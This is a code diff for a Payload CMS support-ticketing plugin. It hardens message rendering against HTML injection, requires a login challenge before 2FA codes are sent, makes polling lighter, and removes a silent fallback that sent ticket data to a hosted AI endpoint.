+
26
+ /** `[code:12](https://…)` — the shared-code link marker posted by the agent console. */
27
+ const CODE_LINK_RE = /\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g
28
+
29
+ /** Returns the URL only when it parses AND uses an http(s) scheme; null otherwise. */
30
+ export function safeHttpUrl(raw: string): string | null {
31
+ try {
32
+ const url = new URL(raw)
33
+ if (url.protocol !== 'http:' && url.protocol !== 'https:') return null
34
+ return url.toString()
35
+ } catch {
36
+ return null
37
+ }
38
+ }
39
+
40
+ /**
41
+ * Split a plain-text body into text nodes and `<a>` elements.
42
+ * Exported (rather than inlined in the page) so the escaping contract is
43
+ * unit-testable — the page itself imports `@payload-config` and cannot be
44
+ * loaded from a test.
45
+ */
46
+ export function renderPlainMessageBody(body: string): React.ReactNode[] {
47
+ const nodes: React.ReactNode[] = []
48
+ const re = new RegExp(CODE_LINK_RE.source, 'g')
49
+ let lastIndex = 0
50
+ let match: RegExpExecArray | null
51
+
52
+ while ((match = re.exec(body)) !== null) {
53
+ if (match.index > lastIndex) nodes.push(body.slice(lastIndex, match.index))
54
+
55
+ const href = safeHttpUrl(match[2])
56
+ if (href) {
57
+ nodes.push(
58
+ <a
59
+ key={`code-${match.index}`}
60
+ href={href}
61
+ target="_blank"
62
+ rel="noopener noreferrer"
63
+ className="text-blue-600 underline font-semibold"
64
+ >
65
+ 🔗 Voir le code partagé
66
+ </a>,
67
+ )
68
+ } else {
69
+ // Not a usable link — show the raw marker as text rather than dropping it.
70
+ nodes.push(match[0])
71
+ }
72
+
73
+ lastIndex = match.index + match[0].length
74
+ }
75
+
76
+ if (lastIndex < body.length) nodes.push(body.slice(lastIndex))
77
+ return nodes
78
+ }
79
+
80
+ export function PlainMessageBody({ body }: { body: string }) {
81
+ return (
82
+ <div className="whitespace-pre-wrap text-sm leading-relaxed">
83
+ {renderPlainMessageBody(body ?? '').map((node, i) => (
84
+ <React.Fragment key={i}>{node}</React.Fragment>
85
+ ))}
86
+ </div>
87
+ )
88
+ }
@@ -30,8 +30,12 @@ export function TicketPolling({
30
30
 
31
31
  const interval = setInterval(async () => {
32
32
  try {
33
+ // `/count` returns a single number. The previous limit=0 idiom did NOT return
34
+ // zero documents — Payload disables pagination for limit=0 and derives
35
+ // totalDocs from the rows it materialised, so every open portal tab used to
36
+ // re-download its whole conversation every 30 s to read one counter.
33
37
  const res = await fetch(
34
- `/api/ticket-messages?where[ticket][equals]=${ticketId}&limit=0&depth=0`,
38
+ `/api/ticket-messages/count?where[ticket][equals]=${ticketId}`,
35
39
  { credentials: 'include' },
36
40
  )
37
41
  if (res.status === 401 || res.status === 403) {
@@ -16,6 +16,7 @@ import { TypingIndicator } from './TypingIndicator'
16
16
  import { MessageActions, EditedBadge, DeletedMessage } from './MessageActions'
17
17
  import { ReadReceipt } from './ReadReceipt'
18
18
  import { TransferAndInviteActions } from './TransferAndInviteActions'
19
+ import { PlainMessageBody } from './MessageBody'
19
20
  // Document type for ticket attachments
20
21
  type PayloadDocument = { filename?: string; title?: string; url?: string }
21
22
 
@@ -655,12 +656,7 @@ export default async function TicketDetailPage({ params }: { params: Promise<{ i
655
656
  dangerouslySetInnerHTML={{ __html: msg.bodyHtml }}
656
657
  />
657
658
  ) : (
658
- <div className="whitespace-pre-wrap text-sm leading-relaxed" dangerouslySetInnerHTML={{
659
- __html: msg.body
660
- .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
661
- .replace(/\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g, '<a href="$2" target="_blank" rel="noopener noreferrer" class="text-blue-600 underline font-semibold">🔗 Voir le code partagé</a>')
662
- .replace(/\n/g, '<br/>')
663
- }} />
659
+ <PlainMessageBody body={msg.body} />
664
660
  )}
665
661
 
666
662
  {/* Attachments */}
@@ -32,6 +32,10 @@ function SupportLoginContent() {
32
32
 
33
33
  // 2FA state
34
34
  const [needs2FA, setNeeds2FA] = useState(false)
35
+ // Proof that the password step succeeded, minted by /support/login. Required
36
+ // by /support/2fa {action:'send'} — that endpoint no longer sends a code to
37
+ // anyone who merely knows the address.
38
+ const [challenge, setChallenge] = useState('')
35
39
  const [twoFactorCode, setTwoFactorCode] = useState('')
36
40
  const [sending2FA, setSending2FA] = useState(false)
37
41
 
@@ -60,10 +64,11 @@ function SupportLoginContent() {
60
64
  if (data.requires2FA) {
61
65
  // Send 2FA code
62
66
  setSending2FA(true)
67
+ setChallenge(data.challenge || '')
63
68
  const codeRes = await fetch('/api/support/2fa', {
64
69
  method: 'POST',
65
70
  headers: { 'Content-Type': 'application/json' },
66
- body: JSON.stringify({ action: 'send', email }),
71
+ body: JSON.stringify({ action: 'send', email, challenge: data.challenge }),
67
72
  })
68
73
 
69
74
  if (codeRes.ok) {
@@ -130,12 +135,15 @@ function SupportLoginContent() {
130
135
  const res = await fetch('/api/support/2fa', {
131
136
  method: 'POST',
132
137
  headers: { 'Content-Type': 'application/json' },
133
- body: JSON.stringify({ action: 'send', email }),
138
+ body: JSON.stringify({ action: 'send', email, challenge }),
134
139
  })
135
140
  if (res.ok) {
136
141
  setError('')
137
142
  } else {
138
- setError('Erreur lors du renvoi du code.')
143
+ // 401 = the challenge expired (10 min): the password must be re-entered.
144
+ setError(res.status === 401
145
+ ? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
146
+ : 'Erreur lors du renvoi du code.')
139
147
  }
140
148
  } catch {
141
149
  setError('Erreur de connexion.')
@@ -1,7 +1,15 @@
1
1
  /**
2
2
  * Ambient stub for 'lucide-react'.
3
- * lucide-react is an optional peer dependency — the host application installs it.
4
- * This stub satisfies TypeScript when the plugin is type-checked in isolation.
3
+ *
4
+ * lucide-react is a REQUIRED peer dependency three unconditionally registered
5
+ * components import it statically, so a host without it fails at build time.
6
+ * It is deliberately not a devDependency here; this stub is what lets the plugin
7
+ * type-check in isolation without pulling the icon set into the repo.
8
+ *
9
+ * Keep the icon list below in sync with the actual imports:
10
+ * src/portal/LiveChat.tsx
11
+ * src/views/PendingEmailsView/client.tsx
12
+ * src/views/TicketingSettingsView/client.tsx
5
13
  */
6
14
  declare module 'lucide-react' {
7
15
  import type { FC, SVGProps } from 'react'
@@ -2,6 +2,7 @@ import type { Payload } from 'payload'
2
2
  import type { CollectionSlugs } from './slugs'
3
3
  import { readSupportSettings, type SupportSettings } from './readSettings'
4
4
  import { dbFind, dbFindByID, dbCreate, dbUpdate } from './db'
5
+ import { resolveOllamaBaseUrl } from './aiProvider'
5
6
 
6
7
  export interface AgentDecision {
7
8
  action: 'reply' | 'escalate'
@@ -61,7 +62,7 @@ export async function applyAgentDecision(
61
62
  function getClient(aiSettings: SupportSettings['ai']) {
62
63
  const Anthropic = require('@anthropic-ai/sdk').default
63
64
  if (aiSettings.provider === 'ollama') {
64
- return new Anthropic({ apiKey: 'ollama', baseURL: process.env.OLLAMA_API_URL || 'https://ollama.orkelis.app/v1' })
65
+ return new Anthropic({ apiKey: 'ollama', baseURL: resolveOllamaBaseUrl() })
65
66
  }
66
67
  return new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY })
67
68
  }
@@ -0,0 +1,21 @@
1
+ import { APIError } from 'payload'
2
+
3
+ /**
4
+ * Resolve the base URL of the OpenAI-compatible gateway used by the `ollama`
5
+ * provider.
6
+ *
7
+ * There is deliberately NO default here. An integrator who selects `ollama` does
8
+ * so precisely to keep ticket content off third-party infrastructure; a silent
9
+ * fallback to any hosted endpoint would ship the whole conversation — subject,
10
+ * message bodies, client name and company — to a server the operator never chose,
11
+ * and would do so invisibly because the AI answer still comes back normally.
12
+ *
13
+ * Fail loudly instead: a missing `OLLAMA_API_URL` is a configuration error.
14
+ */
15
+ export function resolveOllamaBaseUrl(): string {
16
+ const baseURL = process.env.OLLAMA_API_URL
17
+ if (!baseURL) {
18
+ throw new APIError("provider 'ollama' requires OLLAMA_API_URL", 500)
19
+ }
20
+ return baseURL
21
+ }